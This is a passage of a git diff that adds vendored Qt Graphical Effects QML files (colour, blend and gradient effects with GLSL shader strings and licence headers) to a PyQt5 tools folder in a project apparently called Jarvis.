HSLtoRGB(vec3(hsl1.x, RGBtoHSL(rgb2).y, hsl1.z));" + property string blendModeScreen: "result.rgb = 1.0 - (vec3(1.0) - rgb1) * (vec3(1.0) - rgb2);" + property string blendModeSubtract: "result.rgb = max(rgb1 - rgb2, vec3(0.0));" + property string blendModeSoftLight: "result.rgb = rgb1 * ((1.0 - rgb1) * rgb2 + (1.0 - (1.0 - rgb1) * (1.0 - rgb2)));" + + property string fragmentCoreShaderWorkaround: (GraphicsInfo.profile === GraphicsInfo.OpenGLCoreProfile ? "#version 150 core + #define varying in + #define texture2D texture + out vec4 fragColor; + #define gl_FragColor fragColor + " : "") + + property string fragmentShaderBegin: fragmentCoreShaderWorkaround + " + varying mediump vec2 qt_TexCoord0; + uniform highp float qt_Opacity; + uniform lowp sampler2D backgroundSource; + uniform lowp sampler2D foregroundSource; + + highp float RGBtoL(highp vec3 color) { + highp float cmin = min(color.r, min(color.g, color.b)); + highp float cmax = max(color.r, max(color.g, color.b)); + highp float l = (cmin + cmax) / 2.0; + return l; + } + + highp vec3 RGBtoHSL(highp vec3 color) { + highp float cmin = min(color.r, min(color.g, color.b)); + highp float cmax = max(color.r, max(color.g, color.b)); + highp float h = 0.0; + highp float s = 0.0; + highp float l = (cmin + cmax) / 2.0; + highp float diff = cmax - cmin; + + if (diff > 1.0 / 256.0) { + if (l < 0.5) + s = diff / (cmin + cmax); + else + s = diff / (2.0 - (cmin + cmax)); + + if (color.r == cmax) + h = (color.g - color.b) / diff; + else if (color.g == cmax) + h = 2.0 + (color.b - color.r) / diff; + else + h = 4.0 + (color.r - color.g) / diff; + + h /= 6.0; + } + return vec3(h, s, l); + } + + highp float hueToIntensity(highp float v1, highp float v2, highp float h) { + h = fract(h); + if (h < 1.0 / 6.0) + return v1 + (v2 - v1) * 6.0 * h; + else if (h < 1.0 / 2.0) + return v2; + else if (h < 2.0 / 3.0) + return v1 + (v2 - v1) * 6.0 * (2.0 / 3.0 - h); + + return v1; + } + + highp vec3 HSLtoRGB(highp vec3 color) { + highp float h = color.x; + highp float l = color.z; + highp float s = color.y; + + if (s < 1.0 / 256.0) + return vec3(l, l, l); + + highp float v1; + highp float v2; + if (l < 0.5) + v2 = l * (1.0 + s); + else + v2 = (l + s) - (s * l); + + v1 = 2.0 * l - v2; + + highp float d = 1.0 / 3.0; + highp float r = hueToIntensity(v1, v2, h + d); + highp float g = hueToIntensity(v1, v2, h); + highp float b = hueToIntensity(v1, v2, h - d); + return vec3(r, g, b); + } + + lowp float channelBlendHardLight(lowp float c1, lowp float c2) { + return c2 > 0.5 ? (1.0 - (1.0 - 2.0 * (c2 - 0.5)) * (1.0 - c1)) : (2.0 * c1 * c2); + } + + void main() { + lowp vec4 result = vec4(0.0); + lowp vec4 color1 = texture2D(backgroundSource, qt_TexCoord0); + lowp vec4 color2 = texture2D(foregroundSource, qt_TexCoord0); + lowp vec3 rgb1 = color1.rgb / max(1.0/256.0, color1.a); + lowp vec3 rgb2 = color2.rgb / max(1.0/256.0, color2.a); + highp float a = max(color1.a, color1.a * color2.a); + " + + property string fragmentShaderEnd: " + gl_FragColor.rgb = mix(rgb1, result.rgb, color2.a); + gl_FragColor.rbg *= a; + gl_FragColor.a = a; + gl_FragColor *= qt_Opacity; + } + " + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/BrightnessContrast.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/BrightnessContrast.qml new file mode 100644 index 00000000..85b38bb2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/BrightnessContrast.qml @@ -0,0 +1,194 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype BrightnessContrast + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-color + \brief Adjusts brightness and contrast. + + This effect adjusts the source item colors. + Brightness adjustment changes the perceived luminance of the source item. + Contrast adjustment increases or decreases the color + and brightness variations. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_bug.png + \li \image BrightnessContrast_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet BrightnessContrast-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item that provides the source pixels + for the effect. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines how much the source brightness is increased or + decreased. + + The value ranges from -1.0 to 1.0. By default, the property is set to \c + 0.0 (no change). + + \table + \header + \li Output examples with different brightness values + \li + \li + \row + \li \image BrightnessContrast_brightness1.png + \li \image BrightnessContrast_brightness2.png + \li \image BrightnessContrast_brightness3.png + \row + \li \b { brightness: -0.25 } + \li \b { brightness: 0 } + \li \b { brightness: 0.5 } + \row + \li \l contrast: 0 + \li \l contrast: 0 + \li \l contrast: 0 + \endtable + + */ + property real brightness: 0.0 + + /*! + This property defines how much the source contrast is increased or + decreased. The decrease of the contrast is linear, but the increase is + applied with a non-linear curve to allow very high contrast adjustment at + the high end of the value range. + + \table + \header + \li Contrast adjustment curve + \row + \li \image BrightnessContrast_contrast_graph.png + \endtable + + The value ranges from -1.0 to 1.0. By default, the property is set to \c 0.0 (no change). + + \table + \header + \li Output examples with different contrast values + \li + \li + \row + \li \image BrightnessContrast_contrast1.png + \li \image BrightnessContrast_contrast2.png + \li \image BrightnessContrast_contrast3.png + \row + \li \b { contrast: -0.5 } + \li \b { contrast: 0 } + \li \b { contrast: 0.5 } + \row + \li \l brightness: 0 + \li \l brightness: 0 + \li \l brightness: 0 + \endtable + + */ + property real contrast: 0.0 + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + interpolation: input && input.smooth ? SourceProxy.LinearInterpolation : SourceProxy.NearestInterpolation + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property real brightness: rootItem.brightness + property real contrast: rootItem.contrast + + anchors.fill: parent + blending: !rootItem.cached + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/brightnesscontrast.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/ColorOverlay.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/ColorOverlay.qml new file mode 100644 index 00000000..f3485418 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/ColorOverlay.qml @@ -0,0 +1,148 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype ColorOverlay + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-color + \brief Alters the colors of the source item by applying an overlay color. + + The effect is similar to what happens when a colorized glass is put on top + of a grayscale image. The color for the overlay is given in the RGBA format. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_butterfly.png + \li \image ColorOverlay_butterfly.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet ColorOverlay-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item that provides the source pixels + for the effect. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the RGBA color value which is used to colorize the + source. + + By default, the property is set to \c "transparent". + + \table + \header + \li Output examples with different color values + \li + \li + \row + \li \image ColorOverlay_color1.png + \li \image ColorOverlay_color2.png + \li \image ColorOverlay_color3.png + \row + \li \b { color: #80ff0000 } + \li \b { color: #8000ff00 } + \li \b { color: #800000ff } + \endtable + + */ + property color color: "transparent" + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + interpolation: input && input.smooth ? SourceProxy.LinearInterpolation : SourceProxy.NearestInterpolation + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property color color: rootItem.color + + anchors.fill: parent + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/coloroverlay.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Colorize.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Colorize.qml new file mode 100644 index 00000000..42f17965 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Colorize.qml @@ -0,0 +1,238 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype Colorize + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-color + \brief Sets the color in the HSL color space. + + The effect is similar to what happens when a colorized glass is put on top + of a grayscale image. Colorize uses the hue, saturation, and lightness (HSL) + color space. You can specify a desired value for each property. You can + shift all HSL values with the + \l{QtGraphicalEffects::HueSaturation}{HueSaturation} effect. + + Alternatively, you can use the + \l{QtGraphicalEffects::ColorOverlay}{ColorOverlay} effect to colorize the + source item in the RGBA color space. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_bug.png + \li \image Colorize_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet Colorize-example.qml example +*/ +Item { + id: rootItem + + /*! + This property defines the source item that provides the source pixels + for the effect. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the hue value which is used to colorize the + source. + + The value ranges from 0.0 to 1.0. By default, the property is set to \c + 0.0, which produces a slightly red color. + + \table + \header + \li Allowed hue values + \row + \li \image Colorize_hue_scale.png + \endtable + + \table + \header + \li Output examples with different hue values + \li + \li + \row + \li \image Colorize_hue1.png + \li \image Colorize_hue2.png + \li \image Colorize_hue3.png + \row + \li \b { hue: 0.2 } + \li \b { hue: 0.5 } + \li \b { hue: 0.8 } + \row + \li \l saturation: 1 + \li \l saturation: 1 + \li \l saturation: 1 + \row + \li \l lightness: 0 + \li \l lightness: 0 + \li \l lightness: 0 + \endtable + */ + property real hue: 0.0 + + /*! + This property defines the saturation value which is used to colorize the + source. + + The value ranges from 0.0 (desaturated) to 1.0 (saturated). By default, + the property is set to \c 1.0 (saturated). + + \table + \header + \li Output examples with different saturation values + \li + \li + \row + \li \image Colorize_saturation1.png + \li \image Colorize_saturation2.png + \li \image Colorize_saturation3.png + \row + \li \b { saturation: 0 } + \li \b { saturation: 0.5 } + \li \b { saturation: 1 } + \row + \li \l hue: 0 + \li \l hue: 0 + \li \l hue: 0 + \row + \li \l lightness: 0 + \li \l lightness: 0 + \li \l lightness: 0 + \endtable + */ + property real saturation: 1.0 + + /*! + This property defines how much the source lightness value is increased + or decreased. + + Unlike hue and saturation properties, lightness does not set the used + value, but it shifts the existing source pixel lightness value. + + The value ranges from -1.0 (decreased) to 1.0 (increased). By default, + the property is set to \c 0.0 (no change). + + \table + \header + \li Output examples with different lightness values + \li + \li + \row + \li \image Colorize_lightness1.png + \li \image Colorize_lightness2.png + \li \image Colorize_lightness3.png + \row + \li \b { lightness: -0.75 } + \li \b { lightness: 0 } + \li \b { lightness: 0.75 } + \row + \li \l hue: 0 + \li \l hue: 0 + \li \l hue: 0 + \row + \li \l saturation: 1 + \li \l saturation: 1 + \li \l saturation: 1 + \endtable + */ + property real lightness: 0.0 + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + interpolation: input && input.smooth ? SourceProxy.LinearInterpolation : SourceProxy.NearestInterpolation + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property real hue: rootItem.hue + property real saturation: rootItem.saturation + property real lightness: rootItem.lightness + + anchors.fill: parent + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/colorize.frag" + + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/ConicalGradient.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/ConicalGradient.qml new file mode 100644 index 00000000..c8d68b1b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/ConicalGradient.qml @@ -0,0 +1,333 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype ConicalGradient + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-gradient + \brief Draws a conical gradient. + + A gradient is defined by two or more colors, which are blended seamlessly. + The colors start from the specified angle and end at 360 degrees larger + angle value. + + \table + \header + \li Effect applied + \row + \li \image ConicalGradient.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet ConicalGradient-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property bool cached: false + + /*! + This property defines the starting angle where the color at the gradient + position of 0.0 is rendered. Colors at larger position values are + rendered into larger angle values and blended seamlessly. Angle values + increase clockwise. + + \table + \header + \li Output examples with different angle values + \li + \li + \row + \li \image ConicalGradient_angle1.png + \li \image ConicalGradient_angle2.png + \li \image ConicalGradient_angle3.png + \row + \li \b { angle: 0 } + \li \b { angle: 45 } + \li \b { angle: 185 } + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \endtable + + */ + property real angle: 0.0 + + /*! + \qmlproperty real QtGraphicalEffects::ConicalGradient::horizontalOffset + \qmlproperty real QtGraphicalEffects::ConicalGradient::verticalOffset + + The horizontalOffset and verticalOffset properties define the offset in + pixels for the center point of the gradient compared to the item center. + + The value ranges from -inf to inf. By default, the properties are set to \c + 0. + + \table + \header + \li Output examples with different horizontalOffset values + \li + \li + \row + \li \image ConicalGradient_horizontalOffset1.png + \li \image ConicalGradient_horizontalOffset2.png + \li \image ConicalGradient_horizontalOffset3.png + \row + \li \b { horizontalOffset: -50 } + \li \b { horizontalOffset: 0 } + \li \b { horizontalOffset: 50 } + \row + \li \l angle: 0 + \li \l angle: 0 + \li \l angle: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \endtable + */ + property real horizontalOffset: 0.0 + property real verticalOffset: 0.0 + + /*! + This property defines the item that is going to be filled with gradient. + Source item gets rendered into an intermediate pixel buffer and the + alpha values from the result are used to determine the gradient's pixels + visibility in the display. The default value for source is undefined and + in that case whole effect area is filled with gradient. + + \table + \header + \li Output examples with different source values + \li + \row + \li \image ConicalGradient_maskSource1.png + \li \image ConicalGradient_maskSource2.png + \row + \li \b { source: undefined } + \li \b { source: } + \row + \li \l angle: 0 + \li \l angle: 0 + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \endtable + + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + +/*! + A gradient is defined by two or more colors, which are blended seamlessly. + The colors are specified as a set of GradientStop child items, each of which + defines a position on the gradient (from 0.0 to 1.0), and a color. + The position of each GradientStop is defined by the position property. + The color is defined by the color property. + + \table + \header + \li Output examples with different gradient values + \li + \li + \row + \li \image ConicalGradient_gradient1.png + \li \image ConicalGradient_gradient2.png + \li \image ConicalGradient_gradient3.png + \row + \li \b {gradient:} \code +Gradient { + GradientStop { + position: 0.000 + color: Qt.rgba(1, 0, 0, 1) + } + GradientStop { + position: 0.167 + color: Qt.rgba(1, 1, 0, 1) + } + GradientStop { + position: 0.333 + color: Qt.rgba(0, 1, 0, 1) + } + GradientStop { + position: 0.500 + color: Qt.rgba(0, 1, 1, 1) + } + GradientStop { + position: 0.667 + color: Qt.rgba(0, 0, 1, 1) + } + GradientStop { + position: 0.833 + color: Qt.rgba(1, 0, 1, 1) + } + GradientStop { + position: 1.000 + color: Qt.rgba(1, 0, 0, 1) + } +} + \endcode + \li \b {gradient:} \code +Gradient { + GradientStop { + position: 0.0 + color: "#F0F0F0" + } + GradientStop { + position: 0.5 + color: "#000000" + } + GradientStop { + position: 1.0 + color: "#F0F0F0" + } +} + \endcode + \li \b {gradient:} \code +Gradient { + GradientStop { + position: 0.0 + color: "#00000000" + } + GradientStop { + position: 1.0 + color: "#FF000000" + } +} + \endcode + \row + \li \l angle: 0 + \li \l angle: 0 + \li \l angle: 0 + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \endtable + +*/ + property Gradient gradient: Gradient { + GradientStop { position: 0.0; color: "white" } + GradientStop { position: 1.0; color: "black" } + } + + SourceProxy { + id: maskSourceProxy + input: rootItem.source + } + + Rectangle { + id: gradientRect + width: 16 + height: 256 + gradient: rootItem.gradient + smooth: true + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + rotation: shaderItem.rotation + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant gradientSource: ShaderEffectSource { + sourceItem: gradientRect + smooth: true + hideSource: true + visible: false + } + property variant maskSource: maskSourceProxy.output + property real startAngle: (rootItem.angle - 90) * Math.PI/180 + property variant center: Qt.point(0.5 + horizontalOffset / width, 0.5 + verticalOffset / height) + + anchors.fill: parent + + fragmentShader: maskSource == undefined ? noMaskShader : maskShader + + onFragmentShaderChanged: startAngleChanged() + + property string noMaskShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/conicalgradient_nomask.frag" + property string maskShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/conicalgradient_mask.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Desaturate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Desaturate.qml new file mode 100644 index 00000000..e56de553 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Desaturate.qml @@ -0,0 +1,147 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype Desaturate + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-color + \brief Reduces the saturation of the colors. + + Desaturated pixel values are calculated as averages of the original RGB + component values of the source item. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_bug.png + \li \image Desaturate_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet Desaturate-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item that provides the source pixels to + the effect. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines how much the source colors are desaturated. + + The value ranges from 0.0 (no change) to 1.0 (desaturated). By default, + the property is set to \c 0.0 (no change). + + \table + \header + \li Output examples with different desaturation values + \li + \li + \row + \li \image Desaturate_desaturation1.png + \li \image Desaturate_desaturation2.png + \li \image Desaturate_desaturation3.png + \row + \li \b { desaturation: 0.0 } + \li \b { desaturation: 0.5 } + \li \b { desaturation: 1.0 } + \endtable + */ + property real desaturation: 0.0 + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + interpolation: input && input.smooth ? SourceProxy.LinearInterpolation : SourceProxy.NearestInterpolation + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property real desaturation: rootItem.desaturation + + anchors.fill: parent + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/desaturate.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/DirectionalBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/DirectionalBlur.qml new file mode 100644 index 00000000..42ea0781 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/DirectionalBlur.qml @@ -0,0 +1,293 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE 